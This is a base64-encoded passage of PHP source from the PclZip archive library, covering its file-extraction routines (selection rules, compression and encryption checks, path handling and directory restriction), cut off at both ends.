gewogICAgICAgICAgICAgICAgICAgICAgJHZfZXh0cmFjdCA9IHRydWU7CiAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgYSBmaWxlbmFtZQogICAgICAgICAgICAgIGVsc2VpZiAoJHZfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSA9PSAkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfTkFNRV1bJGpdKSB7CiAgICAgICAgICAgICAgICAgICR2X2V4dHJhY3QgPSB0cnVlOwogICAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgfQoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZXh0cmFjdCBieSBlcmVnIHJ1bGUKICAgICAgLy8gZXJlZygpIGlzIGRlcHJlY2F0ZWQgd2l0aCBQSFAgNS4zCiAgICAgIC8qCiAgICAgIGVsc2UgaWYgKCAgIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfRVJFR10pKQogICAgICAgICAgICAgICAmJiAoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX0VSRUddICE9ICIiKSkgewoKICAgICAgICAgIGlmIChlcmVnKCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9FUkVHXSwgJHZfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSkpIHsKICAgICAgICAgICAgICAkdl9leHRyYWN0ID0gdHJ1ZTsKICAgICAgICAgIH0KICAgICAgfQogICAgICAqLwoKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZXh0cmFjdCBieSBwcmVnIHJ1bGUKICAgICAgZWxzZSBpZiAoICAgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9QUkVHXSkpCiAgICAgICAgICAgICAgICYmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfUFJFR10gIT0gIiIpKSB7CgogICAgICAgICAgaWYgKHByZWdfbWF0Y2goJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX1BSRUddLCAkdl9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddKSkgewogICAgICAgICAgICAgICR2X2V4dHJhY3QgPSB0cnVlOwogICAgICAgICAgfQogICAgICB9CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBleHRyYWN0IGJ5IGluZGV4IHJ1bGUKICAgICAgZWxzZSBpZiAoICAgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9JTkRFWF0pKQogICAgICAgICAgICAgICAmJiAoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX0lOREVYXSAhPSAwKSkgewoKICAgICAgICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlIGluZGV4IGlzIGluIHRoZSBsaXN0CiAgICAgICAgICBmb3IgKCRqPSRqX3N0YXJ0OyAoJGo8c2l6ZW9mKCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9JTkRFWF0pKSAmJiAoISR2X2V4dHJhY3QpOyAkaisrKSB7CgogICAgICAgICAgICAgIGlmICgoJGk+PSRwX29wdGlvbnNbUENMWklQX09QVF9CWV9JTkRFWF1bJGpdWydzdGFydCddKSAmJiAoJGk8PSRwX29wdGlvbnNbUENMWklQX09QVF9CWV9JTkRFWF1bJGpdWydlbmQnXSkpIHsKICAgICAgICAgICAgICAgICAgJHZfZXh0cmFjdCA9IHRydWU7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIGlmICgkaT49JHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX0lOREVYXVskal1bJ2VuZCddKSB7CiAgICAgICAgICAgICAgICAgICRqX3N0YXJ0ID0gJGorMTsKICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgIGlmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfSU5ERVhdWyRqXVsnc3RhcnQnXT4kaSkgewogICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG5vIHJ1bGUsIHdoaWNoIG1lYW5zIGV4dHJhY3QgYWxsIHRoZSBhcmNoaXZlCiAgICAgIGVsc2UgewogICAgICAgICAgJHZfZXh0cmFjdCA9IHRydWU7CiAgICAgIH0KCgkgIC8vIC0tLS0tIENoZWNrIGNvbXByZXNzaW9uIG1ldGhvZAoJICBpZiAoICAgKCR2X2V4dHJhY3QpCgkgICAgICAmJiAoICAgKCR2X2hlYWRlclsnY29tcHJlc3Npb24nXSAhPSA4KQoJCSAgICAgICYmICgkdl9oZWFkZXJbJ2NvbXByZXNzaW9uJ10gIT0gMCkpKSB7CiAgICAgICAgICAkdl9oZWFkZXJbJ3N0YXR1cyddID0gJ3Vuc3VwcG9ydGVkX2NvbXByZXNzaW9uJzsKCiAgICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBQQ0xaSVBfT1BUX1NUT1BfT05fRVJST1IKICAgICAgICAgIGlmICggICAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1NUT1BfT05fRVJST1JdKSkKCQkgICAgICAmJiAoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1NUT1BfT05fRVJST1JdPT09dHJ1ZSkpIHsKCiAgICAgICAgICAgICAgJHRoaXMtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgogICAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfVU5TVVBQT1JURURfQ09NUFJFU1NJT04sCgkJCSAgICAgICAgICAgICAgICAgICAgICAgIkZpbGVuYW1lICciLiR2X2hlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10uIicgaXMgIgoJCQkJICAJICAgIAkgIAkgICAuImNvbXByZXNzZWQgYnkgYW4gdW5zdXBwb3J0ZWQgY29tcHJlc3Npb24gIgoJCQkJICAJICAgIAkgIAkgICAuIm1ldGhvZCAoIi4kdl9oZWFkZXJbJ2NvbXByZXNzaW9uJ10uIikgIik7CgogICAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwoJCSAgfQoJICB9CgoJICAvLyAtLS0tLSBDaGVjayBlbmNyeXB0ZWQgZmlsZXMKCSAgaWYgKCgkdl9leHRyYWN0KSAmJiAoKCR2X2hlYWRlclsnZmxhZyddICYgMSkgPT0gMSkpIHsKICAgICAgICAgICR2X2hlYWRlclsnc3RhdHVzJ10gPSAndW5zdXBwb3J0ZWRfZW5jcnlwdGlvbic7CgogICAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgUENMWklQX09QVF9TVE9QX09OX0VSUk9SCiAgICAgICAgICBpZiAoICAgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9TVE9QX09OX0VSUk9SXSkpCgkJICAgICAgJiYgKCRwX29wdGlvbnNbUENMWklQX09QVF9TVE9QX09OX0VSUk9SXT09PXRydWUpKSB7CgogICAgICAgICAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwoKICAgICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX1VOU1VQUE9SVEVEX0VOQ1JZUFRJT04sCgkJCSAgICAgICAgICAgICAgICAgICAgICAgIlVuc3VwcG9ydGVkIGVuY3J5cHRpb24gZm9yICIKCQkJCSAgCSAgICAJICAJICAgLiIgZmlsZW5hbWUgJyIuJHZfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXQoJCQkJCQkJCSAgIC4iJyIpOwoKICAgICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKCQkgIH0KICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHJlYWwgZXh0cmFjdGlvbgogICAgICBpZiAoKCR2X2V4dHJhY3QpICYmICgkdl9oZWFkZXJbJ3N0YXR1cyddICE9ICdvaycpKSB7CiAgICAgICAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkNvbnZlcnRIZWFkZXIyRmlsZUluZm8oJHZfaGVhZGVyLAoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcF9maWxlX2xpc3RbJHZfbmJfZXh0cmFjdGVkKytdKTsKICAgICAgICAgIGlmICgkdl9yZXN1bHQgIT0gMSkgewogICAgICAgICAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwogICAgICAgICAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICAgICAgICB9CgogICAgICAgICAgJHZfZXh0cmFjdCA9IGZhbHNlOwogICAgICB9CgogICAgICAvLyAtLS0tLSBMb29rIGZvciByZWFsIGV4dHJhY3Rpb24KICAgICAgaWYgKCR2X2V4dHJhY3QpCiAgICAgIHsKCiAgICAgICAgLy8gLS0tLS0gR28gdG8gdGhlIGZpbGUgcG9zaXRpb24KICAgICAgICBAcmV3aW5kKCR0aGlzLT56aXBfZmQpOwogICAgICAgIGlmIChAZnNlZWsoJHRoaXMtPnppcF9mZCwgJHZfaGVhZGVyWydvZmZzZXQnXSkpCiAgICAgICAgewogICAgICAgICAgLy8gLS0tLS0gQ2xvc2UgdGhlIHppcCBmaWxlCiAgICAgICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKCiAgICAgICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9BUkNISVZFX1pJUCwgJ0ludmFsaWQgYXJjaGl2ZSBzaXplJyk7CgogICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICB9CgogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGV4dHJhY3Rpb24gYXMgc3RyaW5nCiAgICAgICAgaWYgKCRwX29wdGlvbnNbUENMWklQX09QVF9FWFRSQUNUX0FTX1NUUklOR10pIHsKCiAgICAgICAgICAkdl9zdHJpbmcgPSAnJzsKCiAgICAgICAgICAvLyAtLS0tLSBFeHRyYWN0aW5nIHRoZSBmaWxlCiAgICAgICAgICAkdl9yZXN1bHQxID0gJHRoaXMtPnByaXZFeHRyYWN0RmlsZUFzU3RyaW5nKCR2X2hlYWRlciwgJHZfc3RyaW5nLCAkcF9vcHRpb25zKTsKICAgICAgICAgIGlmICgkdl9yZXN1bHQxIDwgMSkgewogICAgICAgICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKICAgICAgICAgICAgJHRoaXMtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CiAgICAgICAgICAgIHJldHVybiAkdl9yZXN1bHQxOwogICAgICAgICAgfQoKICAgICAgICAgIC8vIC0tLS0tIEdldCB0aGUgb25seSBpbnRlcmVzdGluZyBhdHRyaWJ1dGVzCiAgICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2Q29udmVydEhlYWRlcjJGaWxlSW5mbygkdl9oZWFkZXIsICRwX2ZpbGVfbGlzdFskdl9uYl9leHRyYWN0ZWRdKSkgIT0gMSkKICAgICAgICAgIHsKICAgICAgICAgICAgLy8gLS0tLS0gQ2xvc2UgdGhlIHppcCBmaWxlCiAgICAgICAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAgICAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gU2V0IHRoZSBmaWxlIGNvbnRlbnQKICAgICAgICAgICRwX2ZpbGVfbGlzdFskdl9uYl9leHRyYWN0ZWRdWydjb250ZW50J10gPSAkdl9zdHJpbmc7CgogICAgICAgICAgLy8gLS0tLS0gTmV4dCBleHRyYWN0ZWQgZmlsZQogICAgICAgICAgJHZfbmJfZXh0cmFjdGVkKys7CgogICAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgdXNlciBjYWxsYmFjayBhYm9ydAogICAgICAgICAgaWYgKCR2X3Jlc3VsdDEgPT0gMikgewogICAgICAgICAgCWJyZWFrOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBleHRyYWN0aW9uIGluIHN0YW5kYXJkIG91dHB1dAogICAgICAgIGVsc2VpZiAoICAgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9FWFRSQUNUX0lOX09VVFBVVF0pKQoJCSAgICAgICAgJiYgKCRwX29wdGlvbnNbUENMWklQX09QVF9FWFRSQUNUX0lOX09VVFBVVF0pKSB7CiAgICAgICAgICAvLyAtLS0tLSBFeHRyYWN0aW5nIHRoZSBmaWxlIGluIHN0YW5kYXJkIG91dHB1dAogICAgICAgICAgJHZfcmVzdWx0MSA9ICR0aGlzLT5wcml2RXh0cmFjdEZpbGVJbk91dHB1dCgkdl9oZWFkZXIsICRwX29wdGlvbnMpOwogICAgICAgICAgaWYgKCR2X3Jlc3VsdDEgPCAxKSB7CiAgICAgICAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKICAgICAgICAgICAgcmV0dXJuICR2X3Jlc3VsdDE7CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gR2V0IHRoZSBvbmx5IGludGVyZXN0aW5nIGF0dHJpYnV0ZXMKICAgICAgICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZDb252ZXJ0SGVhZGVyMkZpbGVJbmZvKCR2X2hlYWRlciwgJHBfZmlsZV9saXN0WyR2X25iX2V4dHJhY3RlZCsrXSkpICE9IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgICAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwogICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgICAgfQoKICAgICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHVzZXIgY2FsbGJhY2sgYWJvcnQKICAgICAgICAgIGlmICgkdl9yZXN1bHQxID09IDIpIHsKICAgICAgICAgIAlicmVhazsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3Igbm9ybWFsIGV4dHJhY3Rpb24KICAgICAgICBlbHNlIHsKICAgICAgICAgIC8vIC0tLS0tIEV4dHJhY3RpbmcgdGhlIGZpbGUKICAgICAgICAgICR2X3Jlc3VsdDEgPSAkdGhpcy0+cHJpdkV4dHJhY3RGaWxlKCR2X2hlYWRlciwKCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwX3BhdGgsICRwX3JlbW92ZV9wYXRoLAoJCQkJCQkJCQkJCSAgJHBfcmVtb3ZlX2FsbF9wYXRoLAoJCQkJCQkJCQkJCSAgJHBfb3B0aW9ucyk7CiAgICAgICAgICBpZiAoJHZfcmVzdWx0MSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAgICAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwogICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0MTsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBHZXQgdGhlIG9ubHkgaW50ZXJlc3RpbmcgYXR0cmlidXRlcwogICAgICAgICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkNvbnZlcnRIZWFkZXIyRmlsZUluZm8oJHZfaGVhZGVyLCAkcF9maWxlX2xpc3RbJHZfbmJfZXh0cmFjdGVkKytdKSkgIT0gMSkKICAgICAgICAgIHsKICAgICAgICAgICAgLy8gLS0tLS0gQ2xvc2UgdGhlIHppcCBmaWxlCiAgICAgICAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAgICAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgdXNlciBjYWxsYmFjayBhYm9ydAogICAgICAgICAgaWYgKCR2X3Jlc3VsdDEgPT0gMikgewogICAgICAgICAgCWJyZWFrOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIENsb3NlIHRoZSB6aXAgZmlsZQogICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CiAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2RXh0cmFjdEZpbGUoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLwogIC8vIDEgOiAuLi4gPwogIC8vIFBDTFpJUF9FUlJfVVNFUl9BQk9SVEVEKDIpIDogVXNlciBhc2sgZm9yIGV4dHJhY3Rpb24gc3RvcCBpbiBjYWxsYmFjawogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdkV4dHJhY3RGaWxlKCYkcF9lbnRyeSwgJHBfcGF0aCwgJHBfcmVtb3ZlX3BhdGgsICRwX3JlbW92ZV9hbGxfcGF0aCwgJiRwX29wdGlvbnMpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gUmVhZCB0aGUgZmlsZSBoZWFkZXIKICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZSZWFkRmlsZUhlYWRlcigkdl9oZWFkZXIpKSAhPSAxKQogICAgewogICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgIH0KCgogICAgLy8gLS0tLS0gQ2hlY2sgdGhhdCB0aGUgZmlsZSBoZWFkZXIgaXMgY29oZXJlbnQgd2l0aCAkcF9lbnRyeSBpbmZvCiAgICBpZiAoJHRoaXMtPnByaXZDaGVja0ZpbGVIZWFkZXJzKCR2X2hlYWRlciwgJHBfZW50cnkpICE9IDEpIHsKICAgICAgICAvLyBUQkMKICAgIH0KCiAgICAvLyAtLS0tLSBMb29rIGZvciBhbGwgcGF0aCB0byByZW1vdmUKICAgIGlmICgkcF9yZW1vdmVfYWxsX3BhdGggPT0gdHJ1ZSkgewogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGZvbGRlciBlbnRyeSB0aGF0IG5vdCBuZWVkIHRvIGJlIGV4dHJhY3RlZAogICAgICAgIGlmICgoJHBfZW50cnlbJ2V4dGVybmFsJ10mMHgwMDAwMDAxMCk9PTB4MDAwMDAwMTApIHsKCiAgICAgICAgICAgICRwX2VudHJ5WydzdGF0dXMnXSA9ICJmaWx0ZXJlZCI7CgogICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gR2V0IHRoZSBiYXNlbmFtZSBvZiB0aGUgcGF0aAogICAgICAgICRwX2VudHJ5WydmaWxlbmFtZSddID0gYmFzZW5hbWUoJHBfZW50cnlbJ2ZpbGVuYW1lJ10pOwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHBhdGggdG8gcmVtb3ZlCiAgICBlbHNlIGlmICgkcF9yZW1vdmVfcGF0aCAhPSAiIikKICAgIHsKICAgICAgaWYgKFBjbFppcFV0aWxQYXRoSW5jbHVzaW9uKCRwX3JlbW92ZV9wYXRoLCAkcF9lbnRyeVsnZmlsZW5hbWUnXSkgPT0gMikKICAgICAgewoKICAgICAgICAvLyAtLS0tLSBDaGFuZ2UgdGhlIGZpbGUgc3RhdHVzCiAgICAgICAgJHBfZW50cnlbJ3N0YXR1cyddID0gImZpbHRlcmVkIjsKCiAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgICAgfQoKICAgICAgJHBfcmVtb3ZlX3BhdGhfc2l6ZSA9IHN0cmxlbigkcF9yZW1vdmVfcGF0aCk7CiAgICAgIGlmIChzdWJzdHIoJHBfZW50cnlbJ2ZpbGVuYW1lJ10sIDAsICRwX3JlbW92ZV9wYXRoX3NpemUpID09ICRwX3JlbW92ZV9wYXRoKQogICAgICB7CgogICAgICAgIC8vIC0tLS0tIFJlbW92ZSB0aGUgcGF0aAogICAgICAgICRwX2VudHJ5WydmaWxlbmFtZSddID0gc3Vic3RyKCRwX2VudHJ5WydmaWxlbmFtZSddLCAkcF9yZW1vdmVfcGF0aF9zaXplKTsKCiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBBZGQgdGhlIHBhdGgKICAgIGlmICgkcF9wYXRoICE9ICcnKSB7CiAgICAgICRwX2VudHJ5WydmaWxlbmFtZSddID0gJHBfcGF0aC4iLyIuJHBfZW50cnlbJ2ZpbGVuYW1lJ107CiAgICB9CgogICAgLy8gLS0tLS0gQ2hlY2sgYSBiYXNlX2Rpcl9yZXN0cmljdGlvbgogICAgaWYgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9FWFRSQUNUX0RJUl9SRVNUUklDVElPTl0pKSB7CiAgICAgICR2X2luY2x1c2lvbgogICAgICA9IFBjbFppcFV0aWxQYXRoSW5jbHVzaW9uKCRwX29wdGlvbnNbUENMWklQX09QVF9FWFRSQUNUX0RJUl9SRVNUUklDVElPTl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBfZW50cnlbJ2ZpbGVuYW1lJ10pOwogICAgICBpZiAoJHZfaW5jbHVzaW9uID09IDApIHsKCiAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9ESVJFQ1RPUllfUkVTVFJJQ1RJT04sCgkJCSAgICAgICAgICAgICAgICAgICAgICJGaWxlbmFtZSAnIi4kcF9lbnRyeVsnZmlsZW5hbWUnXS4iJyBpcyAiCgkJCQkJCQkJIC4ib3V0c2lkZSBQQ0xaSVBfT1BUX0VYVFJBQ1RfRElSX1JFU1RSSUNUSU9OIik7CgogICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gTG9vayBmb3IgcHJlLWV4dHJhY3QgY2FsbGJhY2sKICAgIGlmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9DQl9QUkVfRVhUUkFDVF0pKSB7CgogICAgICAvLyAtLS0tLSBHZW5lcmF0ZSBhIGxvY2FsIGluZm9ybWF0aW9uCiAgICAgICR2X2xvY2FsX2hlYWRlciA9IGFycmF5KCk7CiAgICAgICR0aGlzLT5wcml2Q29udmVydEhlYWRlcjJGaWxlSW5mbygkcF9lbnRyeSwgJHZfbG9jYWxfaGVhZGVyKTsKCiAgICAgIC8vIC0tLS0tIENhbGwgdGhlIGNhbGxiYWNrCiAgICAgIC8vIEhlcmUgSSBkbyBub3QgdXNlIGNhbGxfdXNlcl9mdW5jKCkgYmVjYXVzZSBJIG5lZWQgdG8gc2VuZCBhIHJlZmVyZW5jZSB0byB0aGUKICAgICAgLy8gaGVhZGVyLgogICAgICAkdl9yZXN1bHQgPSAkcF9vcHRpb25zW1BDTFpJUF9DQl9QUkVfRVhUUkFDVF0oUENMWklQX0NCX1BSRV9FWFRSQUNULCAkdl9sb2NhbF9oZWFkZXIpOwogICAgICBpZiAoJHZfcmVzdWx0ID09IDApIHsKICAgICAgICAvLyAtLS0tLSBDaGFuZ2UgdGhlIGZpbGUgc3RhdHVzCiAgICAgICAgJHBfZW50cnlbJ3N0YXR1cyddID0gInNraXBwZWQiOwogICAgICAgICR2X3Jlc3VsdCA9IDE7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGFib3J0IHJlc3VsdAogICAgICBpZiAoJHZfcmVzdWx0ID09IDIpIHsKICAgICAgICAvLyAtLS0tLSBUaGlzIHN0YXR1cyBpcyBpbnRlcm5hbCBhbmQgd2lsbCBiZSBjaGFuZ2VkIGluICdza2lwcGVkJwogICAgICAgICRwX2VudHJ5WydzdGF0dXMnXSA9ICJhYm9ydGVkIjsKICAgICAgCSR2X3Jlc3VsdCA9IFBDTFpJUF9FUlJfVVNFUl9BQk9SVEVEOwogICAgICB9CgogICAgICAvLyAtLS0tLSBVcGRhdGUgdGhlIGluZm9ybWF0aW9ucwogICAgICAvLyBPbmx5IHNvbWUgZmllbGRzIGNhbiBiZSBtb2RpZmllZAogICAgICAkcF9lbnRyeVsnZmlsZW5hbWUnXSA9ICR2X2xvY2FsX2hlYWRlclsnZmlsZW5hbWUnXTsKICAgIH0KCgogICAgLy8gLS0tLS0gTG9vayBpZiBleHRyYWN0aW9uIHNob3VsZCBiZSBkb25lCiAgICBpZiAoJHBfZW50cnlbJ3N0YXR1cyddID09ICdvaycpIHsKCiAgICAvLyAtLS0tLSBMb29rIGZvciBzcGVjaWZpYyBhY3Rpb25zIHdoaWxlIHRoZSBmaWxlIGV4aXN0CiAgICBpZiAoZmlsZV9leGlzdHMoJHBfZW50cnlbJ2ZpbGVuYW1lJ10pKQogICAgewoKICAgICAgLy8gLS0tLS0gTG9vayBpZiBmaWxlIGlzIGEgZGlyZWN0b3J5CiAgICAgIGlmIChpc19kaXIoJHBfZW50cnlbJ2ZpbGVuYW1lJ10pKQogICAgICB7CgogICAgICAgIC8vIC0tLS0tIENoYW5nZSB0aGUgZmlsZSBzdGF0dXMKICAgICAgICAkcF9lbnRyeVsnc3RhdHVzJ10gPSAiYWxyZWFkeV9hX2RpcmVjdG9yeSI7CgogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIFBDTFpJUF9PUFRfU1RPUF9PTl9FUlJPUgogICAgICAgIC8vIEZvciBoaXN0b3JpY2FsIHJlYXNvbiBmaXJzdCBQY2xaaXAgaW1wbGVtZW50YXRpb24gZG9lcyBub3Qgc3RvcAogICAgICAgIC8vIHdoZW4gdGhpcyBraW5kIG9mIGVycm9yIG9jY3Vycy4KICAgICAgICBpZiAoICAgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9TVE9QX09OX0VSUk9SXSkpCgkJICAgICYmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfU1RPUF9PTl9FUlJPUl09PT10cnVlKSkgewoKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9BTFJFQURZX0FfRElSRUNUT1JZLAoJCQkgICAgICAgICAgICAgICAgICAgICAiRmlsZW5hbWUgJyIuJHBfZW50cnlbJ2ZpbGVuYW1lJ10uIicgaXMgIgoJCQkJCQkJCSAuImFscmVhZHkgdXNlZCBieSBhbiBleGlzdGluZyBkaXJlY3RvcnkiKTsKCiAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwoJCSAgICB9CiAgICAgIH0KICAgICAgLy8gLS0tLS0gTG9vayBpZiBmaWxlIGlzIHdyaXRlIHByb3RlY3RlZAogICAgICBlbHNlIGlmICghaXNfd3JpdGVhYmxlKCRwX2VudHJ5WydmaWxlbmFtZSddKSkKICAgICAgewoKICAgICAgICAvLyAtLS0tLSBDaGFuZ2UgdGhlIGZpbGUgc3RhdHVzCiAgICAgICAgJHBfZW50cnlbJ3N0YXR1cyddID0gIndyaXRlX3Byb3RlY3RlZCI7CgogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIFBDTFpJUF9PUFRfU1RPUF9PTl9FUlJPUgogICAgICAgIC8vIEZvciBoaXN0b3JpY2FsIHJlYXNvbiBmaXJzdCBQY2xaaXAgaW1wbGVtZW50YXRpb24gZG9lcyBub3Qgc3RvcAogICAgICAgIC8vIHdoZW4gdGhpcyBraW5kIG9mIGVycm9yIG9jY3Vycy4KICAgICAgICBpZiAoICAgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9TVE9QX09OX0VSUk9SXSkpCgkJICAgICYmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfU1RPUF9PTl9FUlJPUl09PT10cnVlKSkgewoKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9XUklURV9PUEVOX0ZBSUwsCgkJCSAgICAgICAgICAgICAgICAgICAgICJGaWxlbmFtZSAnIi4kcF9lbnRyeVsnZmlsZW5hbWUnXS4iJyBleGlzdHMgIgoJCQkJCQkJCSAuImFuZCBpcyB3c